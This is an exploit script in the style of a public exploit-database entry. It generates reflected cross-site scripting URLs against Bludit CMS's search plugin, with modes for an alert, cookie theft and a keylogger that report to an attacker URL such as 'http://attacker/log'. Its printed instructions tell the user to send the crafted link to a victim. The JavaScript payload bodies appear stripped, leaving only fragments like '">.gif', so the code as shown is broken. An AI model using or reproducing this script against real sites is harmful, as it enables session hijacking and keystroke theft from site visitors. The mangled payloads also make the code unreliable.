# Exploit Title: Bludit CMS 3.20.0 - Reflected Cross-Site Scripting # Date: 2026-08-11 # Exploit Author: [Ranjit Kumar Singh] # Vendor Homepage: https://www.bludit.com/ # Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip # Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde) # Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell # CVE: CVE-2026-41456 """ CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin Exploit Author: [Ranjit Kumar Singh] Vendor: https://www.bludit.com/ Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip Vulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde) Tested on: Ubuntu / Windows / PHP 7.4 Description: The search plugin reflects the search term inside an HTML attribute (value="..."). To exploit, you must break out of the attribute using "> and then inject a tag. This script builds a correctly URL-encoded /search/ endpoint URL. Usage (Windows / Linux): # Use built-in payload types (recommended) python CVE-2026-41456.py -u http://target -t alert python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log # Use -j to provide only JavaScript code (script will add breakout and .gif) python CVE-2026-41456.py -u http://target -j "alert('XSS')" # Linux python CVE-2026-41456.py -u http://target -j 'alert("XSS")' # Windows (PowerShell) # For full control, use -p (must include "> breakout and .gif suffix) python CVE-2026-41456.py -u http://target -p "\">.gif" """ import argparse import urllib.parse import sys import webbrowser def build_payload(base_url, payload): """Build the full XSS URL with the payload placed in the /search/ path.""" if not base_url.endswith('/'): base_url += '/' encoded_payload = urllib.parse.quote(payload, safe='') full_url = f"{base_url}search/{encoded_payload}" return full_url def generate_alert_payload(): return '">.gif' def generate_steal_cookie_payload(attacker_url): return f'">.gif' def generate_keylogger_payload(attacker_url): payload = f""" ">.gif """ return ''.join(payload.split()) def interactive_payload_builder(): print("[*] Interactive Payload Builder") print("1. Simple Alert (Proof of Concept)") print("2. Steal Cookies (requires attacker URL)") print("3. Keylogger (requires attacker URL)") print("4. Custom JavaScript (you write the code)") choice = input("Select payload type [1-4]: ").strip() if choice == "1": return generate_alert_payload() elif choice == "2": attacker_url = input("Enter attacker URL to receive cookies (e.g., http://attacker/log): ").strip() if not attacker_url: print("[-] Attacker URL required.") return None return generate_steal_cookie_payload(attacker_url) elif choice == "3": attacker_url = input("Enter attacker URL to receive keystrokes: ").strip() if not attacker_url: print("[-] Attacker URL required.") return None return generate_keylogger_payload(attacker_url) elif choice == "4": custom = input("Enter your JavaScript code (e.g., alert('XSS')): ").strip() if not custom: print("[-] Payload cannot be empty.") return None return f'">.gif' else: print("[-] Invalid choice.") return None def main(): parser = argparse.ArgumentParser( description="CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin" ) parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target) – script will append /search/") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-p", "--payload", help="Custom full payload (must include breakout syntax, e.g., \">.gif)") group.add_argument("-j", "--js", help="Raw JavaScript code (script will add '>.gif')") group.add_argument("-t", "--type", choices=["alert", "steal", "keylog"], help="Predefined payload type") group.add_argument("--interactive", action="store_true", help="Interactive payload builder") parser.add_argument("-a", "--attacker", help="Attacker URL for steal/keylog payloads (required with -t steal or keylog)") parser.add_argument("--open", action="store_true", help="Open the crafted URL in the default browser") args = parser.parse_args() base_url = args.url.rstrip('/') payload = None if args.payload: payload = args.payload elif args.js: payload = f'">.gif' elif args.type: if args.type == "alert": payload = generate_alert_payload() elif args.type == "steal": if not args.attacker: print("[-] --attacker URL required for steal payload") sys.exit(1) payload = generate_steal_cookie_payload(args.attacker) elif args.type == "keylog": if not args.attacker: print("[-] --attacker URL required for keylog payload") sys.exit(1) payload = generate_keylogger_payload(args.attacker) elif args.interactive: payload = interactive_payload_builder() if payload is None: sys.exit(1) else: parser.print_help() sys.exit(1) # Debug: show raw payload before encoding print(f"[*] Raw payload: {payload}") exploit_url = build_payload(base_url, payload) print(f"[+] Exploit URL generated:") print(f"{exploit_url}") print("\n[+] Instructions:") print(" - Send this URL to a victim (or use --open to test locally).") print(" - The JavaScript will execute in the victim's browser.") if args.open: print("[*] Opening URL in default browser...") webbrowser.open(exploit_url) print("\n[+] URL for copy-paste:") print(exploit_url) if __name__ == "__main__": main()